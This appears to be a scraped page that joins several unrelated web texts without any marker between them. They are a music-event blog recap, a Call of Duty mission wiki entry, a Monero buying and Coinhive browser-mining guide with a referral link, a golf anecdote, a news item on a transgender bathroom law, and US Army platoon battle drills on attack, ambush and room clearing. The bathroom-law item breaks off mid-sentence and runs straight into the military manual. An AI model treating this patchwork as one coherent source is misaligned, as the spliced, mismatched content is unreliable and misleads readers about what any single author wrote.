themselves on?” Besides the daydreaming at night part…which I’ll admit to doing sometimes, this is an interview question I’ve often asked young bands. How do you define success as a musician these days? Why are there more people making music than ever when music doesn’t even sell? How many more times am I gonna have to feed/house my band friends who are signed to real labels because they are making no money?! -WE LIVED THE LIFE, YOU SIT IN FRONT OF YOUR COMPUTER: My favorite thing David Byrne said all night was this: “In general, they’re (musicians) much more focused than the generation I came up in…the generation I came up in still had the idea that a musician is supposed to be irresponsible.” Today’s tortured artists are “tortured” because they don’t have x number of fans on Facebook (and can’t make in money..there’s that); not because they hitchhiked across the country with $5 in their pocket and took acid with Timothy Leary, or something like that. I think a lot of artists are so focused on what’s going on with the industry that they are losing that creative free spirit, risk-taking mentality, and, sometimes, just life experiences in general that informed a lot of the music we loved in the past. -SOMEONE STOLE MY LUNCH MONEY: Byrne’s big recent hit in the EU ultimately rendered him $40 from Spotify. “That’s lunch for me and a friend….that model’s not gonna work for the industry.” Ouch. Streaming isn’t going to go away…but the payment system attached to it needs some attention. -BOWIE WAS SUPERMAN, DUH: “I liked Bowie on stage, because I didn’t know if he was an alien….but I filled in the blanks and made him Superman.” The rock star is forever demystified….but in it’s place we got access and insight that’s really interesting in it’s own right. -I WANNA EMAIL YOU LIKE AN ANIMAL! “Your real currency is to try to grow your database”. Reznor recommends that you grow your fan army, because it’s those interested parties that will carry you to success. As a researcher, I totally agree…knowing your consumer is smart. Just don’t let it affect your art (I rhymed! Yay me.) -MY HEAD HURTS, WHEN DID THIS STOP BEING FUN? “When we make music, we say we’re playing music…it’s a form of play” ~David Byrne Also, Reznor announced that he was working on a project with Beats By Dre. People seem kinda blasé about it; but I think with Reznor’s eye for innovation, this could be a good collaboration. All in all, it was a good trip down NINory Lane, and I look forward to reading Byrne’s book. However, please don’t allow Q&As at anything NIN related, ever…"Kill Makarov." — Level description "Dust to Dust" is the eighteenth and final mission of Call of Duty: Modern Warfare 3, as well as the final mission of the Modern Warfare series. The player starts out in Juggernaut armor, and takes the role of John Price, attempting to kill Makarov for what he has done. Contents show] Characters Edit Plot Edit Price and Yuri, with support from Nikolai, move in to assassinate Makarov in the Hotel Oasis in Dubai. The mission begins with Price and Yuri wearing Juggernaut armor inside a van while Nikolai taps into the security feed of the hotel. Price and Yuri proceed up the road, fighting a large army of Oasis security guards. Eventually they arrive at the entrance to the hotel, walk up a flight of stairs, and enter an elevator. As the elevator rises, an enemy chopper fires on them. Price and Yuri are able to destroy the helicopter, but it spins out of control, crashing into the elevator the two are in, destroying their Juggernaut Armor in the process. The elevator then begins to fall and the pair must then jump to another lift which Nikolai hacked. Price and Yuri then ride the elevator up to the 27th floor. Nikolai then informs them to hurry to catch up with Makarov. Pursuing Makarov, the two fight their way around the triangular penthouse, into a diner, past a small stage and into a hallway. The escape helicopter then appears and fires at them, partially collapsing the building's top floor. Price's weapons fall off the edge and he almost falls off (but gets back up). However, Yuri is wounded; a piece of rebar pierced through his abdomen, pinning him to the ground. Yuri then tells Price to not worry about him and to stop Makarov. Price then runs up the collapsed ceiling and across the helipad to Makarov's helicopter. Just as it starts leaving the roof, Price jumps onto the helicopter, grabs the pilot by the leg, and tosses him out of the helicopter. The copilot draws his USP.45 but Price puts up a struggle, inadvertently firing a shot into the controls. Price proceeds to take out a knife and thrust it into the co-pilot's throat, and throws him into the air as well. Price then takes control of the helicopter, attempting to prevent it from crashing, but to no avail. Price awakes to find himself on a glass ceiling that's going to shatter. He notices Makarov, wounded, climbing out of the helicopter, and the two begin a slow crawl for a Desert Eagle. Price manages to reach the gun, but Makarov stomps on Price's hand, making Price release the gun, and takes the pistol, but before he can kill Price, Yuri arrives just in time and shoots Makarov with his USP.45, wounding him further. However, Makarov murders Yuri; this buys Price enough time to heave himself off the ground and onto Makarov. After stunning Makarov with a few blows with his fists, Price wraps a steel cord connected to the helicopter around Makarov's neck and strangles him with it. Price is able to break the damaged glass ceiling they are fighting on, causing both of them to fall. Makarov is killed due to being hanged with the steel cable while Price survives the fall as he safely lands on the floor below the roof. Price lights a cigar and watches Makarov's hanging corpse while police sirens are heard in the background. Video Walkthrough Edit Call of Duty Modern Warfare 3 - Campaign - Dust to Dust Dust to Dust Add a photo to this gallery Weapon Loadout Edit Intel Edit 44. After going up the escalator, make a U-turn and look for a bar. The intel is on top of the bar. 45. After exiting the elevator, a room with a poker table with the intel on it can be found to the left. 46. After spotting Makarov in the lobby and before pursuing him, hugging the wall and going to the right will lead the player into a bar, where the final piece of intel can be found sitting on the bar's top. MW3 - Intel Locations - Dust To Dust - Mission 16 - Scout Leader Achievement Trophy guide Intel locations Add a photo to this gallery Gallery Edit Hotel Oasis Edit Transcript Edit Trivia Edit In the opening cutscene, when a picture of a tortured Volk is shown, on the upper right corner is a picture of PFC Joseph Allen, but only the bottom half is shown. In the opening cutscene, when a picture of a tortured Volk is shown, on the upper right corner is a picture of PFC Joseph Allen, but only the bottom half is shown. If the player uses the movement keys/left analog stick while sitting in the falling helicopter, Price will move the cyclic stick. However, this has no effect on the helicopter's movement. Price was originally silent in this mission, with Yuri speaking instead. This is proved by various sound files, with Yuri speaking similar lines that Price speaks in the final version. In the Wii version of the game, the Price's reflection after the helicopter crash is not present. The title is a reference to the saying "Earth to earth, ashes to ashes, dust to dust.". When Yuri finishes removing Price's Juggernaut armor in the elevator, his MK46 has every attachment available for MK46 in multiplayer. However, during the Juggernaut sequence, Yuri's MK46 appears to only have a Grip attached. During the briefing scene, there is a picture of Lev Kravchenko from Call of Duty: Black Ops on the upper left.You’ll always wish you had started with Monero cryptocurrency sooner, so start right now. Everyone’s talking about Bitcoin right now, but what I’m really interested in is Monero. The problem is Monero is hard to get started with right now. It took me a few hours to figure all of this stuff out, but you’ll be able to get started in a few minutes because of this guide. I had to piece together many guides across the web. That’s inefficient, so I thought I would make one single comprehensive guide with everything you need to know. Part of my goal as a web game designer and developer is to find new ways to monetize our games, and I fully believe it can be done with cryptocurrency. For the following reasons, I’ve chosen Monero as the first one to start working with. What is Monero? Monero is the leading cryptocurrency with a focus on private and censorship-resistant transactions. Monero transactions are confidential and untraceable. Monero is a grassroots community attracting the world’s best cryptocurrency researchers and engineering talent. Monero is electronic cash that allows fast, inexpensive payments to and from anywhere in the world. Read more here. I don’t want to waste a lot of time. This is a fast and easy guide, after all. Here’s what we’re going to to do today: Let’s get started: How to Set Up a Monero Cryptocurrency Wallet Fast and Easy: First things first, there are two ways to get wallets: Set up a safe and secure Monero wallet on your computer hard drive. Set up an online Monero wallet, which is somewhat safe and somewhat secure if you go with a reputable source. We’re going to do the second one because it’s faster, easier, and that’s what this guide is all about. Don’t worry about the safety and security part — we’re using the one officially recommended by the Monero website. It is advisable that you may want to keep some in your online wallet for easy spending, and transfer the rest to a hard drive wallet for safe keeping. This is what I do, and we’ll talk about that later in the guide, but the real point of this guide is to be fast and easy. Let’s focus on the fast and easy wallet for now. Go to MyMonero.com and sign up for an account. Your account is going to be a long string of words like “bumble cart fast clean tissue bottle paper desk”. Don’t lose that! If you do, you will not be able to log back in and get your Monero. You’ll see your dashboard once you’re logged in. In the image below, I have removed information such as my Address and a transaction ID. You will be able to see those in your dashboard. The Address is important — that’s where you’ll tell people and services to send your Monero. And now you’ve got a Monero wallet! That was easy, right? Now it’s time to buy some Monero. How to Buy Monero Cryptocurrency Fast and Easy: Buying Monero isn’t super easy. In fact, it took me a couple hours to figure everything out for this guide. That’s why I decided to make this guide. There needed to be a complete and comprehensive guide all in one place. We’re going to be using two different services to get this done. One is called Coinbase, and it’s a digital wallet as well as marketplace to buy and sell Bitcoin, Etherium, and Litecoin. The link I’m about to give you is a referral link, but it’s a referral link that benefits both of us. If you sign up for Coinbase through this link, you’ll get $10 of free Bitcoin the first time you buy $100 worth of any currency they offer. I will also receive $10 as my bonus for referring you. Go to Coinbase.com (that’s my referral link; you must use it to get the free $10 of $BTC) and register for an account. Once you’ve created your account and logged in, your dashboard will look something like this: This guide is about Monero, but if you’re interested in also collecting Bitcoin, Ethereum, and/or Litecoin, this is a great place to monitor the prices. It also has your portfolio, which is how much you have of each of the three in your Coinbase wallets at the time, and any recent activity such as purchasing or transferring. Next, you need to go to Settings, then click on the Accounts tab, and there’s a blue button that says “Link Accounts”. Click on that and we’re going to add your credit card or bank account. I recommend adding a Credit Card because it’s the fastest way to get your cryptocurrency. There are four options as you can see, but credit card is the fastest. The bank option is probably the best, but it requires a few days for your approval, which means you won’t be buying any coins today. Put in all your credit card information and follow the instructions the site gives you. The site also may require you to upload a photo of the front and back of your ID, plus a picture of yourself. I did it all through my web cam and I didn’t even put a shirt on. Once all that’s done, you’re ready to buy some Litecoin. Wait, I thought we were buying Monero. We are. We have to buy some Litecoin, first. Then, we transfer it to Monero using another service. The reason we use Litecoin instead of Bitcoin or Ethereum is because with the latter two, we frequently get an error that says: The Ethereum and Bitcoin network are currently experiencing significant congestion, transactions may be delayed hours. Litecoin almost never has any issues. So, that’s what we use. In the top navigation, click on “Buy/Sell”. Select Litecoin, your preferred Payment Method, and put in $100 for the amount. You can buy other amounts, but we want to do the $100 so you and I both get our extra $10BTC for free. Then, click the purchase button. Once the purchase is complete, go back to the top navigation and click on Tools. Under the Addresses tab, there will be a drop-down menu that is probably on “BTC Wallet”. You’ll need to change that to “LTC Wallet”. That will have your LTC wallet address, which we’ll need in the next part. You’ll want to keep this tab open, and open another tab with your MyMonero account on it, and then a third tab with ShapeShift.io on it. This is the service that is going to turn our Litecoin into Monero. At ShapeShift.io, select the currency you want to trade from (Litecoin) and to (Monero). Select “Quick” because we’re trying to do this quickly, and then “Continue”. Sometimes, ShapeShift.io won’t have the liquidity of the currency you’re trying to transfer. While Litecoin is the better of the three we can get from Coinbase, it still has problems sometimes and you’ll see something like this: The only options you have in this care are to find a different exchange service, or wait it out. Hopefully, though, there will be no issues. On the next page, you’ll see something like this: Put in your Monero address, which you get from MyMonero. Put in your Litecoin address, which you get from Coinbase. And finally put in your Payment ID, which you’ll get from MyMonero after clicking on “Receive” in the top navigation, and filling out the form on the page. Select “I agree to the terms” and then push big blue “Start Transaction” button. It’ll take a couple minutes, but after that you will have Monero in your wallet! How to Sell Monero Cryptocurrency Fast and Easy: This section of the guide is not ready yet. How to Transfer Monero Cryptocurrency Fast and Easy: This section of the guide is not ready yet. How to Mine Monero Cryptocurrency Fast and Easy: There are lots of ways to get started mining, but this way is of course the fastest and easiest way I’ve figured out. We’re going to use a service called Coinhive to allow us to mine it in our browser using CPU. This may be quite a bit slower than many other mining options, and of course Coinbase gets a cut (about 30%, I think), but again…this is the fastest and easiest way to get started. Consider those fees as speeding tickets to your future success. First, go to Coinhive.com and sign up. Once you’re signed up, you’ll see a dashboard that looks something like this: Go up to the top and click on “Settings”. On the Settings page, click on “Sites & API Keys”. We have to set up and generate some code. Don’t worry; we’re not doing anything with the code so you don’t need to know how to code or even what it means. On the Settings & API Keys page, click on “Create A New Site”. We’re not going to be building a website or anything — we can run this right in the browser. You can name this “site” anything you like. I gave it the real generic but descriptive name of “Browser Mining 001” since I’m not going to be placing the code on any particular sites, and instead just running this in the browser. Once you’ve completed that, your list of “sites” will update. Locate the “site” you want to start mining from, and click the blue “Open” link on the right of the table. Your miner will open in a new tab, and once you click on the start button on it (looks like a triangle in a circle), it’ll start mining and it looks like the above. You can increase and decrease “threads” and “speed” based on what your CPU can handle. This will vary widely across the millions of different computer set ups out there, so I can’t really offer any specific advice here. Play around with it and see what works for you. Congratulations! You have now started collecting Monero Cryptocurrency! Learn to make a living creating fun video games. If you want to learn how you can pay all of your bills making video games whenever and wherever you want, sign up here. Success! Now check your email to confirm your subscription. Like this: Like Loading...At first, everything was pretty chill when Tim Tebow went on the Golf Channel on President's Day. He was talking about his golf charity tournament that's coming up in the middle of March, and he was getting some tips from Charlie Rymer, mostly about ball position. Then he hit a drive on the simulator. It went 343 yards, and all the chill was gone. That is a huge drive, obviously. But he said that he doesn't really play a lot of golf -- he'll tee it up for charity occasionally and said that he's probably played four times this year. Four times?! I could do nothing but hit driver all day and still be 85 yards behind him. Maybe his next charity should be a long drive contest. Follow @kalevins"She is going to use the men's shower," McCrory said in a gubernatorial debate recorded by the News & Observer. North Carolina Gov. Pat McCrory said on Tuesday that Caitlyn Jenner, a transgender woman, would need to shower with men if she visits a state university. McCrory was defending a state law that he signed in the spring banning transgender people from using single-sex restrooms that match their sex in government-run facilities. The law defines sex by the gender marker on a person's birth certificate. However, McCrory's comments underscored just how awkward that law
for the base-of-fire element to lift or shift direct fires to the opposite flank of the enemy position. (The assault squad MUST pick up and maintain effective fires throughout the assault. Hand over of responsibility for direct fires from the base-of-fire element to the assault element is critical to prevent fratricide.) (3) The platoon FO shifts indirect fires to isolate the enemy position. (4) The assaulting squad fights through enemy positions using fire and maneuver. The platoon leader controls the movement of his squad. He assigns specific objectives for each team and designates the main effort or base maneuver team. (The base-of-fire element must be able to identify the near flank of the assaulting squad.) (5) In the assault, the squad leader determines the way in which he will move the teams of his squad based on the volume and accuracy of enemy fire against his squad and the amount of cover afforded by the terrain. (Figure 3-2.) In all cases, each soldier uses individual movement techniques as appropriate. Figure 3-2. Squad and Fire Team Fire and Movement in the Assault. (a) The squad leader designates one fire team to support the movement of the other team. (b) The squad leader designates a distance or direction for the team to move. He accompanies one of the fire teams. (See Figure 3-2.) (c) Soldiers must maintain contact with team members and leaders. (d) Buddy teams time their firing and reloading in order to sustain their rate of fire. Teams are: Fire Team A, Buddy Teams: Team leader and automatic rifleman, grenadier (M203) and antiarmor specialist. Fire Team B, Buddy Teams: Team leader and automatic rifleman, automatic rifleman and antiarmor specialist. (e) The moving fire team proceeds to the next covered position. Teams use the wedge formation when assaulting. Soldiers move in rushes or by crawling. (f) The squad leader directs the next team to move. (g) If necessary, the team leader directs soldiers to bound forward as individuals within buddy teams. Soldiers coordinate their movement and fires with their buddies. They maintain contact with their team leader. (h) Soldiers fire from covered positions. They select the next covered position before moving. They either rush forward (no more than 5 seconds), or use high or low crawl techniques based on terrain and enemy fires. b. If NO, or the assaulting squad cannot continue to move, the platoon leader deploys the squads to suppress the enemy and reports to the company commander. The platoon continues suppressing enemy positions and responds to the orders of the company commander. STEP 5. Consolidate and Reorganize. a. Consolidate. Once the platoon has seized the enemy position, the platoon leader establishes local security. (The platoon must prepare to defeat an enemy counterattack. The platoon is most vulnerable at the conclusion of the assault.) (1) The platoon leader signals for the base-of-fire element to move up into designated positions. (2) The platoon leader assigns sectors of fire for each BFV and squad. (3) The platoon leader positions BFVs and key weapons to cover the most dangerous avenue of approach. (4) Soldiers take up hasty defensive positions. (5) The platoon leader and his FO develop an initial fire support plan. (6) The squads place out OPs to warn of enemy counterattacks. b. Reorganize. (1) The platoon performs the following tasks (only after it completes consolidation on the objective): (a) Reestablish the chain of command. (b) Treat casualties and evacuate wounded. (c) Man crew-served weapons first. (d) Redistribute and resupply ammunition. (e) Redistribute critical equipment (radios, NBC, NVDs). (f) Coordinate for ammunition and resupply (platoon sergeant). (g) Search, silence, segregate, safeguard, and speed EPWs to collection points. (h) Collect and report enemy information and materiel. (i) Fill vacancies in key positions. (2) Squad and section leaders provide ammunition, casualty, and equipment (ACE) reports to the platoon sergeant. (Bradley commanders additionally provide fuel status.) (3) The platoon sergeant consolidates ACE reports, reviews them with the platoon leader, and gives them to the first sergeant (or XO). (4) The platoon continues the mission after receiving guidance from the company commander. The company follows the success of the platoon's flanking attack. BATTLE DRILL 1A. PLATOON ATTACK (MOUNTED) SITUATION: The platoon is moving as part of a larger force conducting a movement to contact or a hasty attack. REQUIRED ACTIONS: (Figure 3-3): Figure 3-3. Platoon Attack (mounted). Figure 3-3. Platoon Attack (mounted) (continued). STEP 1. Action on Enemy Contact. a. The platoon initiates contact: The platoon leader directs when and how his base-of-fire element initiates contact with the enemy to establish a base of fire. This element must be briefed before it initiates contact. If the platoon has not been detected, the platoon performs Steps 1 and 2, which consist of positioning the supporting element and identifying the enemy's position. b. The enemy initiates contact: The section in contact reacts to contact ( Battle Drill 2A). The section in contact returns fire on the move and moves to covered and concealed positions. The squad dismounts to provide local security or add to the suppressive fires against the enemy. c. The section not in contact takes up covered and concealed positions and orients its weapons on the enemy. d. The platoon leader reports contact and assesses the situation. STEP 2. Locate the Enemy. a. The section leader of the section in contact (normally the platoon leader or the platoon sergeant) reports the enemy size and location, and any other information. The platoon leader completes the section leader's assessment of the situation. b. The section in contact continues to engage the enemy's position. STEP 3. Suppress the Enemy. a. The platoon leader determines if the section in contact can suppress the enemy based on the volume and accuracy of the enemy fire. b. If YES, he directs the section and squad to continue suppressing the enemy. (1) The BFVs destroy or suppress enemy weapons that are firing most effectively against them, including vehicles and crew-served weapons. (2) The platoon leader or FO calls for and adjusts indirect fires (including smoke) to suppress and isolate the enemy position. c. If NO, he deploys the other section to suppress the enemy position. (1) The section not in contact provides supporting fires from its overwatch position. (2) The section not in contact repositions to observe and provide supporting fires against the enemy. (3) The squad dismounts to provide local security or add suppressive fires against the enemy. d. The platoon leader again determines if the platoon can gain suppressive fire over the enemy. e. If YES, he continues to suppress the enemy with the BFVs. f. The platoon FO calls for and adjusts fires based on the platoon leader's directions. (The platoon leader does not wait for indirect fires before continuing with his actions.) g. If still NO, the platoon leader reports the situation to the company commander. Normally the platoon will become the base-of-fire element for the company. The platoon continues to suppress or fix the enemy with direct and indirect fire, and responds to orders from the company commander. STEP 4. Attack. a. If the section in contact can suppress the enemy, the platoon leader determines if the section not in contact can maneuver. He makes the following assessment: (1) Location of enemy position(s) and obstacles. (2) Size of enemy force engaging the section. (The number of enemy automatic weapons, vehicles, and employment of indirect fires.) (The platoon leader must assess the type of enemy resistance.) (a) Light resistance is resistance from an enemy squad-sized element or smaller that is not producing friendly casualties. The enemy force is equipped with or without an armored vehicle, in a hasty fighting position with no obstacles, and primarily using hand-held antiarmor weapons. (b) Medium resistance is resistance from an enemy squad- to platoon-sized element that is producing light friendly casualties. The enemy defense is organized around the best defensible terrain with combined arms assets integrated. (c) Heavy resistance fire is resistance from an enemy platoon-sized element or larger that is producing heavy friendly casualties. The enemy is defending a strongpoint with combined arms assets. (3) Vulnerable flank. (4) Covered and concealed flanking route to the enemy position. b. If YES, the platoon leader maneuvers the section not in ontact into the assault. (1) Once the platoon leader has ensured that the base-of-fire section is in position and providing supporting fires, he leads or directs the assaulting section by the flanking route onto the enemy position. (2) Once in position, the section leader gives the prearranged signal for the base-of-fire section to lift or shift direct fires to the opposite flank of the enemy position. The assaulting section MUST pick up and maintain suppressive fire throughout the assault. Hand over of responsibility for direct fires from the base-of-fire section to the assaulting section is critical to prevent fratricide from occurring. (3) The platoon leader ensures that indirect fires are shifted to isolate the enemy position. (4) The assaulting section fights through enemy positions to the far side. Then the squad dismounts to clear and secure the position using fire and maneuver. (a) The squad leader determines the way in which he will move the elements of his squad based on the volume and accuracy of enemy fire against his squad and the amount of cover afforded by terrain. In all cases, each soldier uses individual movement techniques as appropriate. (b) The squad leader designates one fire team to support the movement of the other fire team. (c) The squad leader designates a distance or direction for the team to move. He accompanies one of the fire teams. (d) Soldiers maintain contact with team members and leaders. (e) Buddy teams time their firing and reloading in order to sustain their rate of fire. (f) The moving fire team proceeds to the next position. (g) Soldiers move in rushes or by crawling. (Normally, soldiers place weapons on SAFE before moving. However, they may elect to fire as they rush.) (h) The squad leader directs the next team to move. (i) If necessary, the team leader directs soldiers to bound forward as individuals within buddy teams. Soldiers coordinate their movement and fires with each other within the buddy team. They maintain contact with their team leader. (j) Soldiers fire from covered positions. They select the next covered position before moving. They either rush forward (no more than 5 seconds), or use high or low crawl techniques based on terrain and enemy fires. (k) Fire team leaders maintain contact with the squad leader and pass signals to team members. (5) The BFVs of the assaulting section continue to engage and destroy enemy vehicles and any soldiers attempting to withdraw or reinforce. (The base-of-fire section must be able to identify the near flank of the assaulting section and its squad.) c. If NO, or the assaulting section cannot continue to move, the platoon leader deploys the sections to suppress the enemy and reports to the company commander. The platoon continues suppressing enemy positions and responds to the orders of the company commander. STEP 5. Consolidate and Reorganize. a. The platoon consolidates once it has seized the enemy position and the platoon leader has established local security. (The platoon must prepare to defeat any enemy counterattack. At the conclusion of the assault, the platoon is most vulnerable.) (1) The platoon leader signals for the base-of-fire section to move up into a designated position. (2) The platoon leader assigns sectors of fire for each BFV and squad. (3) The platoon leader positions BFVs and key weapons to cover the most dangerous avenues of approach. (4) Soldiers take up hasty defensive positions. (5) The platoon leader and his FO develop an initial fire support plan. (6) The squads place out OPs to warn of enemy counterattacks. b. The platoon reorganizes to perform the following tasks (only after it has completed consolidation on the objective). (1) Reestablish the chain of command. (2) Treat casualties and evacuate wounded. (3) Man crew-served weapons first. (4) Redistribute and resupply ammunition. (5) Redistribute critical equipment (radios, NBC, NVDs). (6) Coordinate for resupply (platoon sergeant). (7) Search, silence, segregate, safeguard, and speed EPWs to collection points. (8) Collect and report enemy information and materiel. c. Squad or section leaders provide ammunition, casualty, and equipment (ACE) reports to the platoon sergeant). (Bradley commanders additionally provide fuel status.) d. The platoon sergeant consolidates the ACE reports, reviews his ACE report with the platoon leader, and passes it to the first sergeant (or XO). e. The platoon continues the mission after receiving guidance from the company commander. The company follows the success of the section's flanking attack. BATTLE DRILL 2. REACT TO CONTACT (PLATOON OR SOUAD)(DISMOUNTED) SITUATION: The platoon or squad (dismounted element) receives fires from enemy individual or crew-served weapons. The dismounted element is operating within the supporting range of the BFVs. REQUIRED ACTIONS: (Figure 3-4.) Figure 3-4. React to Contact (dismounted). Figure 3-4. React to Contact (dismounted) (continued). 1. Soldiers immediately assume the nearest covered positions and return fire in the direction of contact. 2. Squad or team leaders locate and engage known or suspected enemy positions with well-aimed fire and pass information to the squad or platoon leader. The platoon leader reports contact to the company commander. 3. Fire team leaders control fire using standard fire commands (initial and supplemental) containing the elements of alert, direction, description of target, range, method of fire (manipulation and rate of fire), and command to commence firing. 4. Soldiers maintain contact (visual or oral) with the soldiers on their left and right. 5. Soldiers maintain contact with their team leaders and report the location of enemy positions. 6. Leaders (visually or orally) check the status of their personnel. 7. The squad or team leaders maintain visual contact with the platoon or squad leader. 8. The team leader leads his team by example: "Follow me; do as I do." 9. Leaders relay all commands and signals from the platoon chain of command. 10. The platoon sergeant positions the BFVs as necessary to observe and to provide supporting fires. NOTE: Once the platoon has executed the React to Contact drill, the platoon leader makes a quick assessment of the situation (for example, enemy size, location). He decides on a course of action (Battle Drill 1, Platoon Attack (Dismounted) or Battle Drill 3, Break Contact (Dismounted)). The platoon leader reports the situation to the company commander. BATTLE DRILL 2A. REACT TO CONTACT (SECTION OR PLATOON) (MOUNTED) SITUATION: While mounted, the platoon receives fires from enemy individual or crew-served weapons (including light antiarmor weapons). REQUIRED ACTION: (Figure 3-5.) Figure 3-5. React to Contact (mounted). 1. Vehicles of the section in contact immediately return fire in the direction of contact while moving out of the beaten zone. The section leader of the section in contact (if not the platoon leader) reports contact to the platoon leader. 2. All vehicles move to the nearest covered and concealed positions. 3. Upon reaching the covered and concealed position, the section in contact continues to engage the enemy with well-aimed fire using precision or battlesight fire command. The squad dismounts to provide local security and or add its suppressive fires against the enemy position. 4. Vehicles of the section not in contact orient their weapons in the direction of the enemy. 5. The platoon leader or platoon sergeant reports contact to the company commander. NOTE: Once the platoon has executed the React to Contact drill, the platoon leader makes a quick assessment of the situation (for example, enemy size, location). He decides on a course of action (Battle Drill 1, Platoon Attack (Dismounted); Battle Drill 1A, Platoon Attack (Mounted)). The Platoon leader may elect to bypass, if permitted by the company commander. The platoon leader reports the situation to the company commander. 6. Bradley commanders maintain contact with each other (wingman concept). 7. Bradley commanders maintain contact with the platoon leader. 8. Bradley commanders relay all commands to mounted infantry teams. BATTLE DRILL 3. BREAK CONTACT (PLATOON OR SOUAD) (DISMOUNTED) SITUATION: The platoon or squad (dismounted element) is under enemy fire and must break contact. The dismounted element is operating within supporting range of the BFVs. REQUIRED ACTIONS: (Figure 3-6.) Figure 3-6. Break Contact (dismounted). Figure 3-6. Break Contact (dismounted) (continued). 1. The platoon leader gives the order to break contact. 2. The platoon leader directs the BFVs to support the disengagement of the dismounted element. (If the BFVs cannot support the disengagement of the dismounted element, the platoon leader directs one squad or fire team to suppress by fire to support the disengagement of the remainder of the element. 3. The platoon or squad leader orders a distance and direction, a terrain feature, or the last objective rally point for the movement of the first squad or fire team. 4. The base of fire (BFVs or squad or fire team) increases the rate of fire to suppress the enemy. 5. The maneuver element moves to assume the overwatch position. The maneuver element uses fragmentation, concussion, and smoke grenades to mask its movement. 6. The maneuver element takes up the designated position and engages the enemy position. 7. The platoon leader directs the initial base-of-fire element (BFVs or squad or fire team) to move to its next location. (Based on the terrain and the volume and accuracy of the enemy's fire, the maneuver squad or fire team may need to use fire and movement techniques.) 8. The platoon or squad continues to bound away from the enemy until (the platoon or squad must continue to suppress the enemy as it breaks contact): It breaks all contact. It passes through a higher level base-of-fire position. Its squads or fire teams are in the assigned position to conduct the next mission. 9. In the absence of a leader's instructions, the platoon or squad moves to the last designated rally point. 10. The platoon leader directs the BFVs to move to a rally point and link up with the dismounted element. 11. Section or squad leaders account for soldiers, report, reorganize as necessary and continue the mission. 12. The platoon leader reports the situation to the company commander. BATTLE DRILL 3A. BREAK CONTACT (SECTION OR PLATOON) (MOUNTED) SITUATION: The platoon is mounted (except for security elements). It is under enemy fire and must break contact. REQUIRED ACTIONS: (Figure 3-7.) Figure 3-7. Break Contact (mounted). 1. The platoon leader gives the order to break contact. 2. The platoon leader directs one section to be the base-of-fire element to support the disengagement of the other section. 3. The platoon leader orders a distance and direction, a terrain feature, or last objective rally point for the moving section. 4. The base-of-fire section continues to engage the enemy. It attempts to gain suppressive fire long enough to support the bound of the moving element. (The platoon uses all available direct and indirect fires, including smoke to assist in disengaging.) The section leader controls fires using standard fire commands containing the alert, direction, description of target, range, method of fire, and command to commence firing. 5. The moving section's security element remounts. 6. The moving section continues to fire while moving to an overwatch position and continues to provide suppressive fires. Firing port weapons are manned and ready to fire. 7. The platoon leader directs the supporting section to move to its next location. 8. The platoon continues to bound away from the enemy until (the platoon must continue to suppress the enemy as it breaks contact): a. It breaks all contact. b. It passes through a higher level base-of-fire position. c. Its sections are in the assigned position to conduct the next mission. 9. In the absence of a leader's instructions, the platoon moves to the last designated rally point. 10. Section or squad leaders account for soldiers, report, reorganize as necessary, and continue the mission. 11. The platoon leader reports the situation to the company commander. BATTLE DRILL 4. REACT TO AMBUSH (PLATOON OR SOUAD) (DISMOUNTED) SITUATION: If the platoon or squad (dismounted element), enters a kill zone, and the enemy initiates an ambush with a casualty- producing device and a high volume of fire, the squad or platoon takes the following actions. REQUIRED ACTIONS: (Figure 3-8.) Figure 3-8. React to Ambush (dismounted). 1. In a near ambush (within hand-grenade range), soldiers receiving fire immediately return fire; take up covered or assume prone positions; throw fragmentation, concussion, and smoke grenades. a. Immediately after the grenades detonate, soldiers in the kill zone assault through the ambush using fire and movement. b. BFVs and soldiers not in the kill zone immediately: Identify enemy positions. Initiate immediate suppressive fires against the enemy. Shift fires as the soldiers in the kill zone assault through the ambush. 2. In a far ambush (beyond hand-grenade range), soldiers receiving fire immediately return fire, take up covered positions, and suppress the enemy by: Destroying or suppressing enemy crew-served weapons. Obscuring the enemy position with smoke (M203). Sustaining suppressive fires. a. Soldiers (squads or teams) not receiving fires move by a covered and concealed route to a vulnerable flank of the enemy position and assault using fire and movement techniques. b. BFVs and soldiers in the kill zone continue suppressive fires and shift fires as the assaulting squad or team fights through the enemy position. c. The platoon leader directs the vehicles to move to positions where they can place effective fires on the enemy or the platoon leader conducts a flank attack, if he determines that there are no antitank weapons in the ambush. 3. The platoon FO calls for and adjusts indirect fires as directed by the platoon leader. On order, he lifts fires or shifts them to isolate the enemy position or to attack them with indirect fires as they retreat. 4. The platoon or squad leader reports, reorganizes as necessary, and continues the mission. BATTLE DRILL 4A. REACT TO AMBUSH (PLATOON) (MOUNTED) SITUATION: If the platoon is mounted, enters a kill zone, and the enemy initiates an ambush with a light antiarmor weapon and a high volume of fire, the platoon takes the following actions. REQUIRED ACTIONS: (Figure 3-9.) Figure 3-9. React to Ambush (mounted). 1. Vehicles in the section in the kill zone immediately return fire, while moving out of the kill zone or moving to covered positions within the kill zone and continue to fire on the ambush position with the highest possible volume of fire. 2. Soldiers in disabled vehicles in the kill zone dismount immediately, assume covered and concealed positions, and add their suppressive fires against the enemy. 3. The section in the kill zone gains suppressive fire, and: a. Destroys or suppresses enemy weapons firing most effectively against the section. b. Obscures the enemy position with smoke. c. Sustains suppressive fires. d. The section not in the kill zone moves by a covered and concealed route to a vulnerable flank of the enemy position and - assaults across the enemy position mounted. (Battle Drill 1 or 1A.) e. BFVs and soldiers in the kill zone continue suppressive fires and shift fires as the assaulting section fights through the enemy position. 4. The platoon leader calls for and adjusts indirect fires as directed by the platoon leader. On order, he lifts fires or shifts them to isolate the enemy position, or to attack them with indirect fires as they retreat. 5. The platoon leader reports, reorganizes as necessary, and continues the mission. (If the platoon cannot continue the assault, it breaks contact. See Battle Drill 3A, Break Contact [Mounted].) BATTLE DRILL 5. ENTER BUILDING/CLEAR ROOM/BUILDING (PLATOON) SITUATION: Operating as part of a larger force, the platoon is moving (mounted or dismounted) and is operating within supporting range of the BFVs when it receives fire from the enemy in a building. NOTE: The discussion that follows assumes that the infantry squad is supported only by the platoon's organic weapons. The preferred method of entering a building is to use a tank main gun round, direct-fire artillery round, or TOW, Dragon, or Hellfire missile to clear the first room. Additionally, some MOUT situations may require precise application of firepower. This is true of a MOUT environment where the enemy is mixed with noncombatants. The presence of civilians can restrict the use of fires and reduce the combat power available to a platoon leader. His platoon may have to operate in "no fire" areas. Rules of engagement (ROE) can prohibit the use of certain weapons until a specific hostile action takes place. The use of hand grenades and suppressive fire to enter rooms may be prohibited to preclude noncombatant casualties and collateral damage. All leaders must be aware of the ROE. They must include the precise use of weapons in their 